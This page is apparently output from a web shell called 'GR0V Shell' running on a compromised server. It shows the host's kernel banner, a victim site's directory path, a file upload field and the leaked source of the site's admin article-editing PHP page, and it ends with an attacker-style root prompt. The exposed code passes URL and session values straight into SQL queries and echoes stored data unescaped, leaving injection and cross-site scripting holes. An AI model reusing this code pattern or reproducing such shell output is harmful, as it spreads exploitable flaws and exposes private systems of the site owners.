? GR0V Shell

GR0V shell

Linux www.koreapackagetour.com 2.6.32-042stab145.3 #1 SMP Thu Jun 11 14:05:04 MSK 2020 x86_64

Path : /home/admin/domains/happytokorea.com/public_html_bk/promice/Admin/
File Upload :
Current File : /home/admin/domains/happytokorea.com/public_html_bk/promice/Admin/editarticleth.php

<?
@session_start();
ob_start();

require_once "../include/tdate.php";
require_once "../include/connect.php";
require_once "../include/connectdb.php";

						  $sql="select * from useradmin where useradmin='$useradmin'";
						  $db_query=mysql_db_query($db,$sql);
						  $result=mysql_fetch_array($db_query);
						  $id=$result[id];
						  $adminname=$result[name];
						  $user_admin=$result[useradmin];
						  $pass_admin=$result[passadmin];
?>
<html>
<head>
<title><? echo "$headtxt"; ?></title>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8">

<!-- Fireworks MX Dreamweaver MX target.  Created Sat Apr 02 10:29:23 GMT+0700 (SE Asia Standard Time) 2011-->
<link href="../css/style.css" rel="stylesheet" type="text/css">

     <link rel="shortcut icon" type="../editor/image/x-icon" href="../favicon.ico">
<script type="text/javascript" src="jscripts/tiny_mce/tiny_mce.js"></script>

<script type="text/javascript" src="http://ajax.googleapis.com/ajax/libs/jquery/1.4.2/jquery.min.js"></script>


  <table width="89%" border="0" align="center" cellpadding="1" cellspacing="1">
    <tr valign="top"> 
      <td width="57%"><? echo "$headtxt | $e_date $etime"; ?><br>
        <div align="left">หน้าปัจจุบันของคุณ : 
          <a href="Main.php">หน้าหลัก</a> --&gt; 
          <strong>แก้ไข</strong></div></td>
      <td width="43%"> <div align="right">ยินดีต้อนรับคุณ 
          <? echo "<u>$adminname</u>"; ?> เข้าใช้งานในระบบ<br>
          [ <a href="ChangePass.php">เปลี่ยนรหัสผ่าน</a> 
          ] <a href="logout.php">ออกจากระบบ</a> </div></td>
    </tr>
    <tr> 
      <td colspan="2"><table width="100%" border="1" align="center" cellpadding="0" cellspacing="0" bordercolor="#E9E9E6">
          <tr> 
            <td><div align="center"> 
                <table width="100%" border="0" cellspacing="1" cellpadding="1">
                  <tr> 
                    <td><div align="center"><br>
                        <table width="100%" border="0" cellspacing="1" cellpadding="1">
                          <tr> 
                            <td><div align="center">  
                                  
                                <?php
						  $sql_1="select * from  article where id = '$_GET[PrdID]'";
						  $db_query=mysql_db_query($db,$sql_1);
						  $result1=mysql_fetch_array($db_query);
						  $idx  =$result1['id'];
						  $productscode  =$result1['article_category_id'];
						  $productsname  =$result1['subject'];
						  $productsdetail  =$result1['detail'];
						  $productsphoto  =$result1['images'];

						?>
                                 
                                <table width="763" border="0" align="center" cellpadding="1" cellspacing="1">
                                  <form method="post" action="editarticlethsave.php" enctype="multipart/form-data">
                                    <tr bgcolor="#FFFFFF"> 
                                      <td valign="top"><div align="right">Type 
                                          :</div></td>
                                      <td> 
                                        <?php
$sql2 = "select * From article_category where id  >= 12
AND id <= 53 order by id ";
$result2 = mysql_query($sql2);
$Num_Rows2 = mysql_num_rows($result2);
$result2 = mysql_query($sql2);
echo "<select name=article_category id=article_category class=input>";
echo "<option value=$productscode>$productscode-Select type";
While($row2= mysql_fetch_array($result2)){
$productstypecode  = $row2["id"];
$productstypename = $row2["category_name"];

?>
                                        <option value=<? echo "$productstypecode"; ?>><? echo "$productstypecode"; ?>-<? echo "$productstypename"; ?> 
                                        <? 
   } 
   echo "</option></select>";
   ?>
                                        </td>
                                    </tr>
                                    
                                    <tr bgcolor="#FFFFFF"> 
                                      <td width="149" valign="top"> <div align="right">Topic 
                                          :</div></td>
                                      <td width="415"> 
                                        <input name="productsname" type="text" class="input" id="productsname3" value='<? echo $productsname; ?>' size="40">
                                        <input type="hidden" name="idx" value=<? echo "$idx"; ?>>                                        </td>
                                    </tr>
                                    
                                    
                                    <tr bgcolor="#FFFFFF"> 
                                      <td valign="top"> <div align="right">Detail 
                                          :</div></td>
                                      <td> 
                                        <script src="ckeditor.js"></script><textarea name="detail" cols="70" rows="10" class="input" id="txtDescription1"><? echo "$productsdetail"; ?></textarea>                                        <script>

			CKEDITOR.replace( 'txtDescription1');

		</script></td>
                                    </tr>
                                    
                                    <tr bgcolor="#FFFFFF"> 
                                      <td valign="top"> <div align="right">Images 
                                          :</div></td>
                                      <td> 
                                        <?
						if ($productsphoto != "")
						{
						echo "<img src=../images/images_article/$productsphoto width=150><br><a href=CancelPhoto.php?PrdID=$_GET[PrdID]&PhotoField=productsphoto&PhotoName=$productsphoto>Delete Image/a>";
						echo "<input type=hidden name=productsphotosend value='$productsphoto'>";
						}else{
						echo "<input type=file name=productsphoto size=50 class=input>";
						}
						?>                                        </td>
                                    </tr>
                                    
                                    
                                    
                                    
                                    <tr bgcolor="#FFFFFF"> 
                                      <td valign="top">&nbsp;</td>
                                      <td> 
                                        <input name="submit" type="submit" class="submit" value="Edit Article!" onClick="return confirm ('คุณต้องการแก้ไข ใช่ หรือ ไม่? ') ">                                        </td>
                                    </tr>
                                  </form>
                                </table>
                              </div></td>
                          </tr>
                        </table>
                        <br>
                        <br>
                      </div></td>
                  </tr>
                </table>
              </div></td>
          </tr>
        </table></td>
    </tr>
    <tr> 
      <td colspan="2"><div align="center"><br>
          <? echo "$buttomtxt"; ?> </div></td>
    </tr>
  </table>
  
</div>
</body>
</html>

T1KUS90T
  root-grov@210.1.60.28:~$